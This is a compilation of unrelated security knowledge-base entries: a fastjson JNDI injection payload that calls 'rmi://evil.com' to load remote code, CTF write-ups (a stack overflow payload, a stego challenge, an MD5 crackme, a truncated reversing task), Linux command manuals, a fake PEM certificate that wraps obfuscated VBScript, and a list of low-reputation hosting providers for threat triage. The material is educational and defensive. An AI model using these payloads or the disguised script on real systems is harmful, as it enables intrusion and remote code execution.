"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/Exploit", "autoCommit":true } } ``` ![](1.png) 可见,命令`touch /tmp/success`已成功执行: ![](2.png) 更多利用方法请参考JNDI注入相关知识。
sec-knowleage
# No mercy (Pwn) We get [ELF binary](no_mercy) with canary and NX on. There are two blatant buffer overflows in the code, since it's using `gets`: ```c int main() { var_AC = *(ecx + 0x4); var_C = *0x14; eax = 0x0; var_70 = 'Flag'; // 0x08048573 var_6C = '{fla'; var_68 = 'g_is'; var_64 = '_on_'; var_60 = 'serv'; var_5C = 'er}'; eax = &var_58; ecx = 0x0; ebx = 0x1a & 0xfffffffc; edx = 0x0; do { *(ebp + edx + 0xffffffa8) = 0x0; edx = edx + 0x4; } while (edx < ebx); var_70 = 'Flag'; *(int16_t *)(eax + edx) = 0x0; eax = 0x2 + eax + edx; eax = strcpy(&var_A2, &var_70); eax = printf("what's your name: "); eax = gets(&var_3E); // Buffer overflow eax = printf("Welcome %s\n", &var_3E); eax = printf("so tell me a joke: "); eax = gets(&var_70); // Buffer overflow eax = printf("so silly , gtfo ==>[]"); eax = dup2(0x1, 0x2); esp = ((((((((esp - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10; eax = *0x14 ^ *0x14; if (eax != 0x0) { eax = __stack_chk_fail(); } else { ebx = stack[2046]; esp = &var_8 + 0xc; ebp = stack[2047]; esp = stack[2045] + 0xfffffffc; } return eax; } ``` The trick here is that once you smash the stack, the server actually sends you the error message. This message contains the name of the binary. The idea is to overwrite the pointer which points to the binary name, and place there the pointer to flag contents. The payload we send is: `'a' * 234 + '\x73\x85\x04\x08'`. We need to go up 234 bytes to reach the pointer position with binary name and then we overwrite it with the flag address. From this we get back: `Flag{sm4ash_argv_sm4sh_env_sm4sh_ev3rything!}`
sec-knowleage
from django.apps import AppConfig class VulnConfig(AppConfig): name = 'vuln' default_auto_field = 'django.db.models.BigAutoField'
sec-knowleage
write === 向指定登录用户终端上发送信息 ## 补充说明 **write命令** 用于向指定登录用户终端上发送信息。通过write命令可传递信息给另一位登入系统的用户,当输入完毕后,键入EOF表示信息结束,write命令就会将信息传给对方。如果接收信息的用户不只登入本地主机一次,你可以指定接收信息的终端机编号。 ### 语法 ```shell write(参数) ``` ### 参数 ```shell 用户:指定要接受信息的登录用户; 登陆终端:指定接收信息的用户的登录终端。 ``` ### 实例 传信息给Rollaend,此时Rollaend只有一个连线 :  ```shell write Rollaend ``` 接下来就是将信息打上去,结束请Ctrl+C: 传信息给Rollaend、Rollaend的连线有pts/2、pts/3: ```shell write Rollaend pts/2 ``` 接下来就是将信息打上去,结束请Ctrl+C: 若对方设定`mesg n`,则此时信息将无法传给对方。
sec-knowleage
-----BEGIN CERTIFICATE----- Q09MVU1CSUE9VkVORVpVRUxBKFVTQSgiU3RyaW5ndG9EZWNvZGUiKSk6RnVuY3Rp b24gVkVORVpVRUxBKEhPTkRVUkFTKTpWRU5FWlVFTEE9VVJVR1VBWShIT05EVVJB Uyk6RW5kIEZ1bmN0aW9uOkZ1bmN0aW9uIFVSVUdVQVkoQnlWYWwgQlJBWklMKTpB UkdFTlRJTkE9In54RGV9RXlKTHpHSElNIU5WT1NXL1grWVphZGZnaGprUFFSbG1G bnBvcXJzdXZ0dy1pI2Jje1RVXUsqQUNcQi4iOkRpbSBDSElMRSxQRVJVLEdVQVRF TUFMQTpCUkFaSUw9cmVQTEFDZShCUkFaSUwsdmJDckxmLCIiKTpCUkFaSUw9cmVQ TEFDZShCUkFaSUwsdmJUYWIsIiIpOkJSQVpJTD1yZVBMQUNlKEJSQVpJTCwiICIs IiIpOkNISUxFPUxlbihCUkFaSUwpOklmIENISUxFIE1vZCA0PD4wIFRoZW46RXJy LlJhaXNlIDEgOkV4aXQgRnVuY3Rpb246RW5kIElmOkZvciBHVUFURU1BTEE9MSBU byBDSElMRSBTdGVwIDQ6RGltIENVQkEsTUVYSUNPLFBBUkFHVUFZLEJPTElWSUEs UEFOQU1BLENBTkFEQTpDVUJBPTM6UEFOQU1BPTA6Rm9yIE1FWElDTz0wIFRvIDM6 UEFSQUdVQVk9TWlkKEJSQVpJTCxHVUFURU1BTEErTUVYSUNPLDEpOklmIFBBUkFH VUFZPSI9IlRoZW4gOkNVQkE9Q1VCQS0xOkJPTElWSUE9MDpFbHNlOkJPTElWSUE9 SW5TdHIoMSxBUkdFTlRJTkEsUEFSQUdVQVksdmJCaW5hcnlDb21wYXJlKS0xOkVu ZCBJZjpJZiBCT0xJVklBPS0xIFRoZW4gOkVyci5SYWlzZSAyIDpFeGl0IEZ1bmN0 aW9uOkVuZCBJZjpQQU5BTUE9NjQqUEFOQU1BK0JPTElWSUE6TmV4dDpQQU5BTUE9 SGV4KFBBTkFNQSk6UEFOQU1BPVN0cmluZyg2LUxlbihQQU5BTUEpLCIwIikmUEFO QU1BOkNBTkFEQT1jSHIoQ0J5dGUoIiZIIiZNaWQoUEFOQU1BLDEsMikpKStjSHIo Q0J5dGUoIiZIIiZNaWQoUEFOQU1BLDMsMikpKStjSHIoQ0J5dGUoIiZIIiZNaWQo UEFOQU1BLDUsMikpKTpQRVJVPVBFUlUmTGVmdChDQU5BREEsQ1VCQSk6TmV4dDpV UlVHVUFZPVBFUlU6RW5kIEZ1bmN0aW9uOkZ1bmN0aW9uIFVTQShIT05EVVJBUyk6 RGltIGk6Rm9yIGk9MSBUbyBMZW4oSE9ORFVSQVMpOlVTQT1NaWQoSE9ORFVSQVMs aSwxKSZVU0E6bmV4dDpFbmQgRnVuY3Rpb24= -----END CERTIFICATE-----
sec-knowleage
--- title: 文件操作 --- 文件操作也包括文件夹操作( Linux 系统下万物皆文件)。主要涉及: - 文件创建:atom/touch - 文件夹创建: mkdir - 文件夹删除:rm -r folder - 文件移动: mv file ../ - 文件删除: rm file ### 创建文件或者文件夹 创建文件夹 ``` mkdir project ``` 注意:创建的位置要在用户主目录内部,不然会遇到**权限**不够的问题。 进入这个项目文件夹 ``` cd project ``` 这样,**当前文件夹** 就切换到了 project 之内。 插播一个小技巧:可以用 `pwd` ( Print Working Directory 打印当前文件夹)来显示精确的位置。 创建一个文件,可以用 ``` touch fileName ``` 注意:Windows 系统上,一般文件都是要有后缀,但是 Linux 下没有这个要求。 但是,一般我们都是用 atom 编辑器来创建文件。 ``` atom . ``` 注:`.` 代表当前位置(当前文件夹)。 ### 删除文件或者文件夹 删除一个文件 ``` rm fileName ``` 删除一个文件夹 ``` rm -r folderName ``` ### 移动 移动用到的是 `mv` 命令 ``` mv 被移动的文件或者文件夹的路径 目标文件夹位置 ``` ### 重命名 ``` mv 被移动的文件或者文件夹的路径 不存在的位置/文件名 ``` 这样进行的就是原来文件的重命名操作。 ### 复制粘贴 用 `cp` 这个命令。 ``` cp 被拷贝的的文件 目标位置 ``` 拷贝文件夹 ``` cp -r 被拷贝的的文件夹 目标位置 ``` ### 操作案例 把 aaa/ 文件夹中的所有文件,都拷贝到 bbb 文件夹中 ``` $ ls aaa aa bb cc $ ls bbb $ mv aaa/* bbb $ ls aaa $ ls bbb aa bb cc ``` ### 普通用户和超级用户 普通用户就是我们默认登录用户,例如 Liu 。超级用户就是管理员。普通用户可以化身超级用户。这个化身的方式是 ``` sudo rm fileName ``` 上面的命令可以用超级用户权限来执行一个命令。 ``` sudo su ``` 可以直接化身超级用户。 ``` $ sudo su $ whoami root $ exit $ whoami Liu ``` 上面 root 就是所谓的超级用户。`whoami` 打印出当前用户的用户名。 超级用户,退出成普通用户,敲 Ctrl-D 。 > 注意,sudo 操作需要输入密码,输入的就是 Liu 这个用户的密码,同时,输入密码的时候光标不会移动,这个是正常现象,只管输入,然后回车就可以了 总结一下,了解了文件系统结构,了解各类文件操作( rm mv cp ),再加上 sudo 的使用,那么一个开发者的基本命令行使用能力就有了。那么我们课程的命令行入门部分就可以告一段落。
sec-knowleage
mysql === MySQL服务器客户端工具 ## 补充说明 **mysql命令** 是MySQL数据库服务器的客户端工具,它工作在命令行终端中,完成对远程MySQL数据库服务器的操作。 ### 语法 ```shell mysql(选项)(参数) ``` ### 选项 ```shell -h:MySQL服务器的ip地址或主机名; -u:连接MySQL服务器的用户名; -e:执行mysql内部命令; -p:连接MySQL服务器的密码。 ``` ### 参数 数据库:指定连接服务器后自动打开的数据库。
sec-knowleage
# 低信誉网站托管服务清单 一些黑灰产网站出于监管和成本考虑,常会使用一些特定供应商的服务,作为其网络资产的组成。检测这些特定的、可疑的服务信息,可以帮助防御者建立信誉度检测系统,以及辅助人工的威胁研判。 以下就是整理一些黑灰产常利用的网站托管相关服务(主要整理自WebOas.is提供的"How To Host Questionable Websites"[1]一文)。 ## 目录 [TOC] ## 顶级域名 - .am - 亚美尼亚 - .cr - 哥斯达黎加国家及地区 - .ec -厄瓜多尔 - .is - 冰岛 - .lt - 立陶宛 - .mu - 毛里求斯 - .rs - 塞尔维亚 - .si - 斯洛文尼亚 - .st - 圣多美和普林西比 - .su - 前苏联 - .top - 中国 - .tw - 中国台湾 ## 反向代理 - https://ddos-guard.net - https://www.cloudflare.com - https://www.stackpath.com/products/ddos-protection/ - https://bitmitigate.com - https://blazingfast.io/ddos - https://www.geniusguard.com - https://www.x4b.net https://javapipe.com/ddos/ - https://www.hyperfilter.com - https://www.ovh.com/world/ssl-gateway/ - https://sucuri.net - https://stormwall.network - https://www.siberdc.com/en/firewall-service/ - https://www.imperva.com - https://www.voxility.com/anti-ddos - https://www.gigsgigscdn.com - https://shovl.io - https://coinshost.com/en/ddos-protection - https://versaweb.com/ddosprotection.php - https://qrator.net/en - https://vsys.host/ddos-protection - https://variti.com - https://www.nooder.net - https://vanwa.tech - https://proxy.is - https://cloud-shield.ru - https://fluxcdn.com - https://projectshield.withgoogle.com - https://koddos.net - https://www.reblaze.com - https://bytefend.com - https://pro-managed.com/en/ - https://hi-load.biz ## 域名注册商 ### 中国香港 - https://now.top - https://cnobin.com ### 俄罗斯 - https://xuid.ru/domains.php - https://cheapprivacy.ru - https://ru-tld.ru - https://ahnames.com ### 其他 - https://njal.la - Sweden & Nevis - https://flokinet.is - Iceland & Seychelles - https://nicevps.net - Dominica - https://www.epik.com - Free Speech USA! - https://www.bitdomain.biz - Unknown - https://regery.com - Ukraine - https://sarek.fi - Finland ## Fast-flux服务 注:Fast-flux技术是指不断改变域名和IP地址映射关系的一种技术,攻击者可以将多个IP地址的集合链接到某个特定的域名,并将新的地址从DNS记录中换入换出,用于回避检测 - https://xuid.ru - https://www.privatealps.net ## DNS服务 - https://dns.he.net - https://www.1984hosting.com - https://www.cloudns.net - https://www.dnspod.com - https://misaka.io/dns/ ## IRC服务 注:IRC 是一种基于文本的应用层通信协议,常用于安全的群组、一对一通讯 - https://sisrv.net/ircd/ - https://www.xzibition.com/ircds.php - https://evolution-host.com/ircdhost.php ## 电子邮件转发 - https://forwardemail.net/en - https://improvmx.com - https://www.33mail.com - https://anonaddy.com ## Tor主机 注:Tor是用于匿名通讯的开源软件,用户可透过Tor接达由全球志愿者免费提供的覆盖网络,常用于隐藏用户真实地址、避免网络监控及流量分析 - https://onehostcloud.hosting - https://impreza.host/en/ - https://ablative.hosting - https://hosting.danwin1210.me ## 主机供应商 ### Costa Rica|哥斯达黎加 - https://www.racknation.cr - https://www.navegalo.com/datacenter/ - http://www.crservers.com ### Estonia|爱沙尼亚 - https://iphosten.net - https://ugb.ee ### Hungary|匈牙利 - https://www.mikrovps.net/en - https://serverastra.com - https://xethost.com - https://rackforest.com/en/ - https://vps4you.hu/en/ ### Iceland|冰岛 - https://www.1984hosting.com - https://www.orangewebsite.com - https://flokinet.is ### Kazakhstan|哈萨克斯坦 - http://idhost.kz/site/index/lang/en/ - https://gohost.kz/?language=english - https://www.ps.kz - https://goodhost.kz ### Latvia|拉脱维亚 - https://garmtech.lv - https://serveria.com - https://www.dataclub.eu - https://2cloud.eu/en - https://www.virsma.com - https://www.yourserver.se - https://firsthost.lv/en ### Moldova|摩尔达维亚 - https://alexhost.com - https://www.stephost.md - https://www.trabia.com - https://innovahosting.net - https://amplica.net - https://gnt.md - https://ihost.md/en/ ### Macedonia|马其顿 - https://qhost.mk/en/ - https://en.telesmart.mk - https://unet.com.mk ### Netherlands|荷兰 - https://nicevps.net - https://www.nforce.com - https://anonymously.io - https://bladeservers.eu - https://www.seedvps.com - https://www.maple-hosting.com - https://spectraip.net - https://skb-enterprise.com - https://infiumhost.com/en/ - https://libertyvps.net - http://novogara.com - https://elkupi.com - https://xor.sc - https://dmzhost.co - https://antagonist.nl - https://liteserver.nl - https://finalhosting.nl - https://www.tilaa.com/en/ - https://yisp.nl https://hostslick.com - https://www.hostkey.com - https://www.hostslim.eu - https://www.weservit.nl/en/ - https://www.worldstream.com/en/ - https://koddos.net - https://whattheserver.me - https://lyrahosting.com - https://www.snel.com - https://www.privatehost.com - https://www.estoxy.com - https://peenq.nl - https://lunarvps.com - https://deltahost.com - https://www.cloud-layer.net ### Bangladesh|孟加拉国 - https://www.xeonbd.com - https://alpha.net.bd - https://www.hifiserver.com - https://gotipath.com ### Vietnam|越南 - https://en.tnd.vn - https://vinahost.vn/en - https://www.pavietnam.vn/en/ - https://vietserver.vn - https://www.bkns.vn - https://123host.vn/en/ ### Taiwan|中国台湾 - https://serverfield.com.tw - https://hostinginside.com ### Bosnia|波斯尼亚 - https://www.qsscloud.ba/?lang=en - https://www.centohost.com - https://netsaap.com ### Lithuania|立陶宛 - https://www.hostika.lt/en/ - https://serveroffer.lt - https://www.hostens.com - https://www.time4vps.com ### Croatia|克罗地亚 - https://www.maxko-hosting.com - https://mydataknox.com - https://www.croweb.host ### Panama|巴拿马 - https://offshoreracks.com - https://panamaserver.com - https://www.ccihosting.com ### Russia|俄罗斯 - https://intersect.host - https://profitserver.ru/en/ - https://www.it-sakh.net/en/ - https://veesp.com/en/ - https://vscale.io/en/ - https://vdsina.ru - https://ruvds.com/en-usd - https://flops.ru/en/ - https://team-host.ru - https://cloud-shield.ru - https://ddos-guard.net - https://justhost.ru - https://theideahosting.com - https://pw-service.com - https://ihor.online - https://sshvps.net/ru - https://flowspec.ru/en/ - https://ipserver.su/en - https://pinvds.com/eng_pinvds_home - https://eliteteam.to - https://pro-managed.com/en/ - https://www.reg.ru - https://powervps.ru/en.html - https://en.datacheap.ru - https://eng.netrack.ru - https://www.justg.com - http://infiumhost.com ### Serbia|塞尔维亚 - https://www.mcloud.rs/en - https://ninet.rs/en - https://unlimited.rs/en - https://www.bits.rs/active/en/home.html ### Sweden|瑞典 - https://icmenet.com - https://www.binero.cloud/en - http://www.portlane.com/en/ - https://svea.net - https://prq.se - https://vps.keff.org - https://bahnhof.net - https://www.yourserver.se - https://tranquillity.se ### Switzerland|瑞士 - https://www.cloudscale.ch/en/ - http://privatelayer.com - https://datacenterlight.ch - https://www.pihost.ch - https://www.securebit.ch - https://exohop.net - https://swiss-vps.com - https://store-host.com - https://coin.host - https://www.marbell.com - https://solarcom.ch/en - https://en.datasource.ch - https://exoscale.com - https://swissmade.host/en/ - https://www.fsit.com ### Ukraine|乌克兰 - https://hostfory.com - https://server.ua/en - https://hostpro.ua/en/ - https://0x2a.com.ua/en/ - https://besthosting.ua/en - https://www.atomohost.com/en/ - https://mirohost.net/en - https://vsys.host - https://hyperhost.ua/en - https://www.urdn.com.ua - https://uavps.net/en - https://www.colocall.net/en/ - https://vikhost.com - https://netengi.com - https://deltahost.com - https://host.ua - https://xserver.ua/en/ ### USA|美国 - https://buyvm.net - https://spartanhost.org - https://sporestack.com - https://nearlyfreespeech.net - https://1776hosting.com - https://www.epik.com - https://capsul.org - https://bitvps.com - https://skysilk.com - https://bithost.io - https://billing.cnservers.com/ ### Turkey|土耳其 - https://www.spd.net.tr/en/ - https://www.hosthink.net - https://hostigger.com - https://www.venois.com - https://www.digiturunc.com - https://www.meric.net.tr ### Romania|罗马尼亚 - https://intovps.com - https://hostsolutions.ro - https://www.voxility.com/dedicated-server - https://cockbox.org - https://cryptoho.st - https://www.alistaro.ro - https://www.virtono.com - https://hostmaze.com - https://www.ch-center.com - https://www.layerbridge.com - https://www.host-expert.eu ### Iran|伊朗 - https://www.ouriran.com - https://parsvds.com - https://pars.host/en/ - https://asiatech.cloud - https://www.parsdata.com/en-US/ - https://server.ir - https://iranhost.com - https://www.day.ir - https://www.diakoweb.com - https://www.faraso.org - https://talashnet.com/en/vps/ ## 其他 - https://www.qhoster.com - Many Locations - https://magicnethosting.com - Many Locations - https://aminserve.com - Many Locations - https://www.superbithost.com - Many Locations - https://www.shinjiru.com - Many Locations - https://bp-servers.com - Many Locations - https://www.trilightzone.org - Many Locations - https://www.altushost.com - Many Locations - https://dedi.al - Many Locations - https://abcvg.net - Many Locations - https://danama.ru - Many Locations - https://www.privex.io - Many Locations - https://www.internoc24.host - Many Locations - https://1gbits.com - Many Locations - https://www.99stack.com - Many Locations - https://hosthatch.com - Many Locations - https://4server.su - Many Locations - https://wolfisp.com/en/ - Many Locations - https://www.mvps.net - Many Locations - https://monovm.com - Many Locations - https://www.routerhosting.com - Many Locations - https://exservers.net - Many Locations https://bpw.sc - Many Locations - https://www.hostzealot.com - Many Locations - https://fullvpsserver.com - Many Locations - https://hostin.energy/en/ - Many Locations - https://wavelayer.com - Many Locations - https://www.hostzealot.com - Many Locations - https://legionbox.com - Many Locations - https://itldc.com/en/ - Many Locations - https://abusehosting.net/index_en.html - Many Locations - https://www.hostplay.com - Many Locations - https://dedic.store - Many Locations - https://seven.network - Many Locations - https://hostroyale.com - Many Locations - https://www.w3space.net - Bangladesh, Hungary, Romania - https://ialgo.com -Belarus - https://theonionhost.com - Bulgaria & Netherlands - https://www.blueangelhost.com - Bulgaria & Russia & Netherlands - https://www.ctclouds.com - China / Hong Kong (Crazy Expensive) - https://www.opencloud.cl - Chile - https://infofractual.io/en/ - Chile - https://skylonhost.com - Czech Republic - https://finaltek.com - Czech Republic - https://www.citynethost.com - Egypt - https://www.yatadatacenter.com - Egypt - https://cloud9.ge - Georgia - https://web.senang.online - India - https://earthlink.iq - Iraq - http://angani.co - Kenya - https://illyhosting.com - Kosovo - https://laodc.com - Laos - https://idmweb.net - Lebanon - https://datapacket.ma - Morocco - https://hostsailor.com - Netherlands & Romania - https://pq.hosting/en/ - Netherlands & Russia & Moldova - https://www.king-servers.com/en/ - Netherlands & Russia - https://prohoster.info/en/ - Netherlands & Russia - https://speedhost247.com - Netherlands & Russia - https://offshorededi.com - Netherlands & Ukraine & Bulgaria - https://webcare360.com - Netherlands & Ukraine & Bulgaria - https://zomro.net - Netherlands & Ukraine - https://www.blix.com - Norway - https://www.obhost.net - Pakistan - https://www.neoserv.si - Slovienia - https://ginernet.com/en/ - Spain - https://sibyl.li - Switzerland & Netherlands & Norway - https://www.aplushosting.asia - Thailand - https://zomro.net - Ukraine & Netherlands --- - http://offshoreevps.org - http://cryto.net/~joepie91/bitcoinvps.html - https://www.getmonero.org/community/merchants/#hosting - https://offshore.tools - https://bitcoin-vps.com ## References \[1] How To Host Questionable Websites, WebOas.is, https://weboas.is/media/host.pdf
sec-knowleage
# Starbyte (misc, 200p) This challenge was supposed to be misc, but we all agreed that this is more like stegano. "Better kind" of stegano (as always from gynvael!) but still. So we were given strange sound file - [starbyte](starbyte). You can easily see "bits" in the transmission: ![](./ss.png) My teammate quickly wrote parser for this, and converted it to bytes. Unfortunatelly, we became stuck at this point for some time - for some reason we thought that data was in 5-bit-chunks, when in fact we should look at data in 10-bit-chunks. After acknowledging that, parsing was easy: ```python import wave, array f = wave.open('starbyte') new_wave = True sum = 0 num = 0 tmp_out = "" out = "" f_out = "" binary = open("binary", "w") tot = 0 out = [] NNN = 10 for s in array.array('h', f.readframes(f.getnframes())): if s < 5000: if not new_wave: if sum/num > 20000: tmp_out += "1" binary.write("1") else: tmp_out += "0" binary.write("0") #if len(tmp_out) == 5: # f_out += chr(int(tmp_out, 2)) # tmp_out = "" tot += 1 if len(tmp_out) == NNN: #f_out += chr(int(tmp_out, 2)) out.append(int(tmp_out, 2)) tmp_out = "" sum = 0 num = 0 new_wave = True else: sum += s num += 1 new_wave = False import string charset = string.digits + string.lowercase x = '' outd = out K = '' for o in out: kek = ('000000000000000' + bin(o)[2:])[-10:][:-2] i = kek[::-1] i = int(i, 2) K += chr(i) print K ``` Data was just ASCII, but in 10-bit-chunks and reversed. You could guess that, because 3 last bits of every chunk was always zero. If you assume that these are in fact wrapped bytes, then you have bytes with last bit always equal to zero - and this strongly suggests reversed ascii characters. But this was only stage 1. After that we get a long text file - [cmds.txt](cmds.txt). Snippet: ``` LINE 612 437 612 425 LINE 650 211 650 223 CRCL 437 312 3 LINE 779 355 779 393 LINE 783 355 795 355 LINE 612 501 612 489 LINE 454 308 454 299 LINE 589 311 587 320 LINE 811 393 799 393 LINE 472 501 456 501 LINE 612 441 650 441 LINE 612 629 612 617 LINE 960 720 0 720 LINE 368 314 368 308 LINE 650 243 650 255 ``` It was quite obvious what to do with this (just draw), but coding python script took dozen of precious minutes (google found nothing, so I guess this was custom format?): ```python from PIL import Image, ImageDraw im = Image.new("RGB", (1000, 1000), "black") draw = ImageDraw.Draw(im) data = open('cmds.txt').read() data = data.split('\n') for l in data: print l cmd = l.split(' ') if cmd[0] == 'LINE': a, b, c, d = cmd[1:] a, b, c, d = int(a), int(b), int(c), int(d) draw.line([(a, b), (c, d)], 'white') elif cmd[0] == 'CRCL': a, b, c = cmd[1:] a, b, c = int(a), int(b), int(c) draw.arc([(a-c, b-c), (a+c, b+c)], 0, 360, 'white') elif cmd[0] == 'RECT': a, b, c, d = cmd[1:] a, b, c, d = int(a), int(b), int(c), int(d) draw.rectangle([(a, b), (c, d)], 'white') im.save('out.png') ``` After that, we were quite pleased with the result: ![](./out.png)
sec-knowleage
## dMd (Reverse, 50p) > Flag is : The valid input > [Download](dMd) ###ENG [PL](#pl-version) We downloaded the program and started analysing it with help of disasembler. Skipping boring parts, most important part of program was looking like: ```c int main() { // ... input = md5(input); // ... if (input[0] != 55 || input[1] != 56 || input[2] != 48 || input[3] != 52 || input[4] != 51 || input[5] != 56 || input[6] != 100 || input[7] != 53 || input[8] != 98 || input[9] != 54 || input[10] != 101 || input[11] != 50 || input[12] != 57 || input[13] != 100 || input[14] != 98 || input[15] != 48 || input[16] != 56 || input[17] != 57 || input[18] != 56 || input[19] != 98 || input[20] != 99 || input[21] != 52 || input[22] != 102 || input[23] != 48 || input[24] != 50 || input[25] != 50 || input[26] != 53 || input[27] != 57 || input[28] != 51 || input[29] != 53 || input[30] != 99 || input[31] != 48 ) { // FAIL } else { // OK } } ``` We just concatenated all hash characters and got to: 780438d5b6e29db0898bc4f0225935c0 This is equal to md5("b781cbb29054db12f88f08c6e161c199"), so that's what the flag is. Interesting fact, that text is also equal to md5(md5("grape")), so that's probably how task authors generated that hash. ###PL version Pobieramy program i analizujemy go za pomocą disasemblera. Żeby nie przedłużać, widać najważniejsze miejsce programu od razu: ```c int main() { // ... input = md5(input); // ... if (input[0] != 55 || input[1] != 56 || input[2] != 48 || input[3] != 52 || input[4] != 51 || input[5] != 56 || input[6] != 100 || input[7] != 53 || input[8] != 98 || input[9] != 54 || input[10] != 101 || input[11] != 50 || input[12] != 57 || input[13] != 100 || input[14] != 98 || input[15] != 48 || input[16] != 56 || input[17] != 57 || input[18] != 56 || input[19] != 98 || input[20] != 99 || input[21] != 52 || input[22] != 102 || input[23] != 48 || input[24] != 50 || input[25] != 50 || input[26] != 53 || input[27] != 57 || input[28] != 51 || input[29] != 53 || input[30] != 99 || input[31] != 48 ) { // FAIL } else { // OK } } ``` Po zebraniu wszystkich znaków, otrzymujemy 780438d5b6e29db0898bc4f0225935c0 Jest to md5("b781cbb29054db12f88f08c6e161c199"), i to wprowadzamy jako flagę. Co ciekawe, jest to też md5(md5("grape")), ale nie ma to wpływu na rozwiązanie zadania.
sec-knowleage
quotacheck === 检查磁盘的使用空间与限制 ## 补充说明 **quotacheck命令** 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。 如果在执行quotacheck命令时出现了以下信息: ```shell quotacheck: Your kernel probably supports journaled quota but you are not using it. Consider switching to journaled quota to avoid running quotacheck after an unclean shutdown. ``` 可以考虑将之前在文件系统的配置文件中添加的quota相关字段修改为:`usrjquota=aquota.user,grpjquota=aquota.group,jqfmt=vfsv1`,然后重新挂载文件系统:`mount -vo remount 挂载目录`(注意,如果这一步操作出现了任何问题,千万不要试图通过重启解决!将配置文件恢复原状是一个好的选择) ### 语法 ```shell quotacheck(选项)(参数) ``` ### 选项 ```shell -a:扫描在/etc/fstab文件里,有加入quota设置的分区; -c:对目标文件系统进行一次新的扫描,并创建新的quota文件; -d:详细显示指令执行过程,便于排错或了解程序执行的情形; -g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目; -R:排除根目录所在的分区; -u:扫描磁盘空间时,计算每个用户识别码所占用的目录和文件数目; -v:显示指令执行过程。 ``` ### 参数 文件系统:指定要扫描的文件系统。 ### 实例 将所有的在`/etc/mtab`内,含有quota支持的partition进行扫描: ```shell [root@linux ~]# quotacheck -avug quotacheck: Scanning /dev/hdb1 [/disk2] done quotacheck: Checked 3 directories and 4 files ``` 强制扫描已挂载的filesystem: ```shell [root@linux ~]# quotacheck -avug -m ``` 扫描指定的filesystem: ```shell [root@linux ~]# quotacheck -cvug /disk2 ```
sec-knowleage
# Royal Cat Category: Reversing, 400 Points ## Description > Hello agent! > > The Queen's royal cat is missing from the grounds. > Your mission is to find and bring him home safely. > > Hint : You should have a look in the ctfroom. > A binary file was attached. ## Solution Let's run the attached binary: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./Meow Meow Meow... Error opening file: No such file or directory ``` So it's trying to open a file. Which file is that? Perhaps `strace` can help us find out: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# strace ./Meow execve("./Meow", ["./Meow"], 0x7ffcac392040 /* 21 vars */) = 0 open("/proc/self/exe", O_RDONLY) = 3 mmap(NULL, 967990, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb65d57e000 mmap(0x7fb65d57e000, 967592, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x7fb65d57e000 mprotect(0x7fb65d669000, 5430, PROT_READ|PROT_EXEC) = 0 readlink("/proc/self/exe", "/media/sf_CTFs/matrix/Royal_Cat/"..., 4095) = 36 mmap(0x7fb65d66b000, 2105344, PROT_NONE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb65d66b000 mmap(0x7fb65d66b000, 1888, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb65d66b000 mprotect(0x7fb65d66b000, 1888, PROT_READ) = 0 mmap(0x7fb65d66c000, 2088045, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1000) = 0x7fb65d66c000 mprotect(0x7fb65d66c000, 2088045, PROT_READ|PROT_EXEC) = 0 mmap(0x7fb65d86a000, 568, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1ff000) = 0x7fb65d86a000 mprotect(0x7fb65d86a000, 568, PROT_READ) = 0 mmap(0x7fb65d86b000, 4216, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1ff000) = 0x7fb65d86b000 mprotect(0x7fb65d86b000, 4216, PROT_READ|PROT_WRITE) = 0 open("/lib64/ld-linux-x86-64.so.2", O_RDONLY) = 4 read(4, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\20\0\0\0\0\0\0"..., 1024) = 1024 mmap(NULL, 184320, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb65d551000 mmap(0x7fb65d551000, 3944, PROT_READ, MAP_PRIVATE|MAP_FIXED, 4, 0) = 0x7fb65d551000 mmap(0x7fb65d552000, 127056, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0x1000) = 0x7fb65d552000 mmap(0x7fb65d572000, 31556, PROT_READ, MAP_PRIVATE|MAP_FIXED, 4, 0x21000) = 0x7fb65d572000 mmap(0x7fb65d57b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x29000) = 0x7fb65d57b000 mmap(0x7fb65d57d000, 376, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb65d57d000 close(4) = 0 mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb65d550000 close(3) = 0 munmap(0x7fb65d57e000, 967990) = 0 brk(NULL) = 0x7fb65e356000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=101561, ...}) = 0 mmap(NULL, 101561, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb65d652000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, 